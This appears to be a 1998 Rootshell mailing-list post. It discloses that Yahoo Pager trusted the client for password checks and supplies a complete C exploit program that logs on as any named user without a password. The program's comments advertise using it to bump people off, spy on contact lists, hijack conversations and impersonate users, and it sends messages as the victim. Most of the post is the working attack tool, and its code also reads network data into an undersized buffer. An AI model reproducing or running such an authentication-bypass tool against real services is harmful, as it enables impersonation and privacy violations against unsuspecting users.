[ http://www.rootshell.com/ ]

                    From douglas@min.net Sun Aug  2 18:48:44 1998
                    Date: Sun, 2 Aug 1998 20:56:16 -0400 (EDT)
                    From: D. Winslow <douglas@min.net>
                    To: www-request@rootshell.com
                    Subject: Yahoo Pager insecurity


                    /*
                       Yahoo Pager Client Emulator Thing - yp.c
                       Douglas Winslow <douglas@min.net>
                       Sun Aug  2 20:55:11 EDT 1998
                       Known to compile on Linux 2.0, FreeBSD 2.2, and BSDi 3.0.
                       hi to aap bdc drw jfn jrc mm mcd [cejn]b #cz and rootshell

                        Yahoo Pager seems to trust the client-side to do password
                        verification.  That's just plain sad.  All you need to
                        supply is a username to bump people off, spy on contact
                        lists, hijack conversations, impersonate people, etc.

                        I know some of this is sleazy code..  I apologise, as it
                        was written more out of haste than thought.  Obviously,
                        don't expect this to work after they've patched their
                        server-side.  Here are a few notes to get you started:

                        Contact list update format:
                        nick(cur_mode,session_id?,ip_addr,is_on,is_off?,direct_conn?)
                        Example: "monica(2,B37F6832,5AF089C6,1,0,0)"

                        Multiple contact list updates begin with "x,".
                        Example: "3,monica(...),bill(...),janetreno(...)"

                        The rest of the server responses are rather straightforward;
                        I'll leave those up to you.  ;>
                    */

                    #include <stdio.h>
                    #include <netdb.h>
                    #include <fcntl.h>
                    #include <sys/socket.h>
                    #include <netinet/in.h>

                    #define YP_SERV "cs3.yahoo.com"
                    #define YP_PORT 5050

                    char    xmt[1128], buffer[38];
                    int     flag, k, s;

                    void yparse();

                    void main(int argc, char *argv[])
                    {
                            char    mesg[1024], tmp[38], to[38];
                            int     i, n, out, port;
                            struct  sockaddr_in     serv_addr;
                            struct  hostent         *server;

                            if (argc > 1) strncpy(tmp, argv[1], 36);
                            else
                            {
                                    printf("Log on as? ");
                                    fgets(tmp, 36, stdin);
                                    tmp[strlen(tmp) - 1] = 0;
                            }

                            if (!strlen(tmp)) exit(1);

                            memset(xmt, 0, sizeof(xmt));
                            strcpy(xmt, "YPNS1.1");
                            xmt[8] = 104;
                            xmt[9] = 3;
                            xmt[12] = 1;    /* Service: Logon */
                            for (i=32; i < strlen(tmp) + 32; i++)
                            {
                                    xmt[i] = tmp[i - 32];
                                    xmt[i + 36] = tmp[i - 32];
                                    xmt[i + 72] = tmp[i - 32];
                            }

                            port = YP_PORT;
                            server = gethostbyname(YP_SERV);
                            if (!server)
                            {
                                    fprintf(stderr, "** Can't resolve \"%s\"\n", YP_SERV);
                                    exit(1);
                            }

                            s = socket(AF_INET, SOCK_STREAM, 0);
                            bzero(&serv_addr, sizeof(serv_addr));
                            serv_addr.sin_family = AF_INET;
                            bcopy(server->h_addr, &serv_addr.sin_addr.s_addr,
                                    server->h_length);
                            serv_addr.sin_port = htons(port);

                            if (connect(s, &serv_addr, sizeof(serv_addr)) < 0) 
                            {
                                    perror("** Unable to connect to remote host");
                                    exit(1);
                            }

                            printf("** Attempting to log on as \"%s\"\n", tmp);
                            out = write(s, xmt, sizeof(xmt));
                            printf("** Sent %i bytes...\n", out);
                            flag = fcntl(s, F_GETFL, 0);
                            flag |= O_NONBLOCK;
                            fcntl(s, F_SETFL, flag);
                            printf("** Type \"msg\" to send an Instant Message.\n");

                            while(1)
                            {
                                    memset(buffer, 0, sizeof(buffer));
                                    memset(to, 0, sizeof(to));
                                    flag = fcntl(0, F_GETFL, 0);
                                    flag |= O_NONBLOCK;
                                    fcntl(0, F_SETFL, flag);
                                    fgets(to, 36, stdin);
                                    to[strlen(to) - 1] = 0;
                                    if (!strcmp(to, "msg"))
                                    {
                                            flag = fcntl(0, F_GETFL, 0);
                                            flag -= O_NONBLOCK;
                                            fcntl(0, F_SETFL, flag);
                                            memset(to, 0, sizeof(to));
                                            printf(" To: ");
                                            fgets(to, 36, stdin);
                                            to[strlen(to) - 1] = 0;
                                            if (strlen(to))
                                            {
                                                    memset(mesg, 0, sizeof(mesg));
                                                    printf("Msg: ");
                                                    fgets(mesg, 1024, stdin);
                                                    mesg[strlen(mesg) - 1] = 0;
                                                    memset(xmt, 0, sizeof(xmt));
                                                    strcpy(xmt, "YPNS1.1");
                                                    xmt[8] = 104;
                                                    xmt[9] = 4;
                                                    xmt[12] = 6;    /* Service: Message */
                                                    for (i=32; i < strlen(tmp) + 32; i++)
                                                    {
                                                            xmt[i] = tmp[i - 32];
                                                            xmt[i + 36] = tmp[i - 32];
                                                    }
                                                    for (i=104; i < strlen(to) + 104; i++)
                                                            xmt[i] = to[i - 104];
                                                    k = strlen(to) + 104;
                                                    xmt[k] = 44;
                                                    k++;
                                                    for (i=0; i < strlen(mesg); i++)
                                                            xmt[i + k] = mesg[i];
                                                    out = write(s, xmt, sizeof(xmt));
                                                    printf("** Sent %i bytes\n", out);
                                            }
                                    }
                                    if (!strcmp(to, "quit"))
                                            exit(0);
                                    if (recv(s, buffer, 1, 0) > 0)
                                            if (buffer[0] == 89) yparse();
                                    else sleep(1);
                            }
                    }

                    void yparse()
                    {
                            char    tmp[255], nick1[38], nick2[38], content[4096];
                            int     len, service;

                            recv(s, buffer, 31, 0);
                            printf("\nServer Version: Y%s\n", buffer);
                            sprintf(tmp, "%i", buffer[7]);
                            len = atoi(tmp);
                            if (len < 0) len += 255;
                            service = buffer[11];
                            printf(" Packet Length: %i\n", len);
                            printf("  Service Type: (%i) ", service);
                            recv(s, buffer, 36, 0);
                            strncpy(nick1, buffer, 36);
                            recv(s, buffer, 36, 0);
                            strncpy(nick2, buffer, 36);
                            recv(s, buffer, len, 0);
                            memset(content, 0, sizeof(content));
                            strncpy(content, buffer, len);
                            if (service == 1)
                                    if (content[0] == 69) printf("Bad username; Goodbye");
                                    else printf("User logged on");
                            if (service == 2)
                                    if (strlen(content)) printf("User logged off");
                                    else printf("Duplicate logins; Goodbye");
                            if (service == 3) printf("User wandered away");
                            if (service == 4) printf("User came back");
                            if (service == 6) printf("Instant Message");
                            if (service == 11) printf("You've got mail");
                            if (service == 15) printf("Added you to their contact list");
                            printf("\n   Actual User: %s\n", nick1);
                            printf("   Active User: %s\n", nick2);
                            printf("       Content: %s\n", content);
                    }